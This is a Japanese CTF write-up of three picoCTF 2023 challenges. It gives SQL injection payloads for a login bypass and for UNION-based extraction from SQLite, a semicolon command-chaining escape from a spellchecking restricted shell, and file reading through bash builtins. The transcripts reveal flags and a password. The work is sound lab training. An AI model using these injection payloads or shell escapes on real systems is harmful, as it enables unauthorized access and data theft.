picoCTF 2023 - Writeup
March 14-28, 2023 UTCに開催されたpicoCTF 2023 に個人で参加した。 簡単な問題を軸に24/45問解いたので、特に印象的だった3問のWriteupを記載する。
Web
More SQLi
指定されたURLへアクセスするとログイン画面が表示される。
問題文よりSQLインジェクションを疑う。
ユーザ名に適当な文字列、パスワードに ' or 'a'='a' --
を入力するとログインできる。
Search Office画面にもSQLインジェクションの脆弱性がある。 ' or true --
を入力すると全ての値が表示される。
HintよりバックエンドDBはSQLiteとあるので、sqlite_masterより情報を確認する。
テーブル名の取得
' union all select tbl_name,2,3 from sqlite_master --
sqlの取得
SQLiteではDB作成時のCREATE文がsqlカラムに記載されており、構造が容易にわかる
' union all select sql,2,3 from sqlite_master --
union句を使ったSQLインジェクションについて復習してみよう。 今回の問題ではoffice TABLEのカラムデータがWebサイト上に表示されている。
確認できたmore_table
TABLEのidとflagカラムのデータをWebサイトに表示されているoffice TABLEのカラムに当てはめればよい。(結合先のカラム数が3のため、more_tableの2カラム+適当な数字で3カラムに合わせて当てはめる。)
flagの取得
' union all select id,flag,3 from more_table --
General Skills
Special
指定された接続先へアクセスするとUbuntu環境に接続される。
# ssh -p 53015 ctf-player@saturn.picoctf.net ctf-player@saturn.picoctf.net's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)
適当なコマンドを入力しても別の文字に置換されて処理されない
Special$ pwd Pod sh: 1: Pod: not found Special$ ls Is
OSコマンドインジェクションをぼんやり考えながら以下のコマンドを打つと最後のコマンドが処理される。
Special$ a;a;pwd A;a;pwd sh: 1: A: not found sh: 1: a: not found /home/ctf-player
catコマンドを使ってファイルを確認する。ホームディレクトリは/home/ctf-playerで配下にblarghフォルダがあるようだ。
Special$ a;a;cat * A;a;cat * sh: 1: A: not found sh: 1: a: not found cat: blargh: Is a directory
blarghフォルダ配下を確認するとflagが確認できる。
Special$ a;a;cat blargh/* A;a;cat blargh/* sh: 1: A: not found sh: 1: a: not found picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}
※因みに問題のスクリプトは以下の通り
Special$ a;a;cat ../../challenge/* A;a;cat ../../challenge/* sh: 1: A: not found sh: 1: a: not found ################################################################################ # Configure a box for the custom ssh example challenge. ################################################################################ import sys import os import subprocess import re import zlib import json def main(): try: # Generate password from seed ========================================= seed = os.environ.get("SEED") if seed == "": print("Seed was not read from filesystem. Aborting.") sys.exit(1) password = hex(zlib.crc32(seed.encode())) password = password[2:] # ===================================================================== # Make new dirs ======================================================= subprocess.run( ["/bin/sh", "-c", "mkdir /home/ctf-player"], check=True ) subprocess.run( ["/bin/sh", "-c", "mkdir /home/ctf-player/blargh"], check=True ) # ===================================================================== # Create ctf-player user subprocess.run( [ "/usr/sbin/useradd", "-U", "ctf-player", "-d", "/home/ctf-player", "-s", "/usr/local/Special.py", ], check=True, ) # Pipe the output of echo into chpasswd to change password of # ctf-user pEcho = subprocess.Popen( ( 'echo', f'ctf-player:{password}' ), stdout=subprocess.PIPE ) output = subprocess.check_output(('chpasswd'), stdin=pEcho.stdout) pEcho.wait() # Make sure ownership is changed to ctf-player subprocess.run( [ "/usr/bin/chown", "-R", "ctf-player:ctf-player", "/home/ctf-player/", ], check=True, ) # Copy profile to ctf-player #subprocess.run( # [ # "/usr/bin/cp", # "/challenge/profile", # "/home/ctf-player/.profile", # ], # check=True, #) # ===================================================================== # Split flag into 3 parts ============================================ flag = os.environ.get("FLAG") if flag == "": print("Flag was not read from environment. Aborting.") sys.exit(-1) else: # Get hash part flag_rand = re.search("{.*}$", flag) if flag_rand == None: print("Flag isn't wrapped by curly braces. Aborting.") sys.exit(-2) else: flag_rand = flag_rand.group() flag_rand = flag_rand[1:-1] flag = "picoCTF{5p311ch3ck_15_7h3_w0r57_" + flag_rand + "}" with open("/home/ctf-player/blargh/flag.txt", "w") as f: f.write(flag) # ===================================================================== # Create and update metadata.json ===================================== metadata = {} metadata['flag'] = str(flag) metadata['password'] = str(password) json_metadata = json.dumps(metadata) with open("/challenge/metadata.json", "w") as f: f.write(json_metadata) # ===================================================================== except subprocess.CalledProcessError: print("A subprocess has returned an error code") sys.exit(1) # ============================================================================= if __name__ == "__main__": main() {"flag": "picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}", "password": "af86add3"} Special$ a;a;cat ../../../../usr/local/Special.py A;a;cat ../../../../usr/local/Special.py sh: 1: A: not found sh: 1: a: not found #!/usr/bin/python3 import os from spellchecker import SpellChecker spell = SpellChecker() while True: cmd = input("Special$ ") rval = 0 if cmd == 'exit': break elif 'sh' in cmd: print('Why go back to an inferior shell?') continue elif cmd[0] == '/': print('Absolutely not paths like that, please!') continue # Spellcheck spellcheck_cmd = '' for word in cmd.split(): fixed_word = spell.correction(word) if fixed_word is None: fixed_word = word spellcheck_cmd += fixed_word + ' ' # Capitalize fixed_cmd = list(spellcheck_cmd) words = spellcheck_cmd.split() first_word = words[0] first_letter = first_word[0] if ord(first_letter) >= 97 and ord(first_letter) <= 122: fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20) fixed_cmd = ''.join(fixed_cmd) try: print(fixed_cmd) os.system(fixed_cmd) except: print("Bad command!")
Specialer
指定された接続先へアクセスするとbash環境に接続される。
# ssh -p 64029 ctf-player@saturn.picoctf.net ctf-player@saturn.picoctf.net's password: Specialer$
今度は利用できるコマンドと利用できないコマンドがある。
Specialer$ pwd /home/ctf-player Specialer$ Specialer$ ls -bash: ls: command not found Specialer$ <-----------------------Tabキーを入力してコマンドの保管処理を実施 ! bg compgen do exec function kill pwd shopt true wait ./ bind complete done exit getopts let read source type while : break compopt echo export hash local readarray suspend typeset { [ builtin continue elif false help logout readonly test ulimit } [[ caller coproc else fc history mapfile return then umask ]] case declare enable fg if popd select time unalias alias cd dirs esac fi in printf set times unset bash command disown eval for jobs pushd shift trap until
cdコマンドを使いながら構成を確認すると以下の構成であることが分かる。
root/ ├ lib/ ├ lib64/ ├ home/ │ └ ctf-player/ │ ├ .hushlogin │ ├ .profile │ ├ abra/ │ │ ├ cadabra.txt │ │ └ cadaniel.txt │ ├ ala/ │ │ ├ kazam.txt │ │ └ mode.txt │ └ sim/ │ ├ city.txt │ └ salabim.txt └ bin/ └ bash
利用できるコマンド一覧からwhileコマンドとreadコマンドを利用して読み取りを試みるが、.profile以外は権限不足で何も表示されない。
Specialer$ while read line; do echo "read line:$line"; done < ./.profile read line:export PS1='Specialer$ ' Specialer$ while read line; do echo "read line:$line"; done < ./.hushlogin Specialer$ while read line; do echo "read line:$line"; done < ./abra/cadabra.txt Specialer$ while read line; do echo "read line:$line"; done < ./ala/mode.txt
アプローチを変えて以下コマンドで実行するとテキスト文字列を確認できる。
Specialer$ echo "$(<./abra/cadaniel.txt)" Yes, I did it! I really did it! I'm a true wizard! Specialer$ echo "$(<./ala/kazam.txt)" return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_38f5cc78} Specialer$ echo "$(<./sim/city.txt)" 05ed181c-4aa0-4d4a-8505-2fe6ca9097d3 Specialer$ echo "$(<./sim/salabim.txt)" #He was so kind, such a gentleman tied to the oceanside#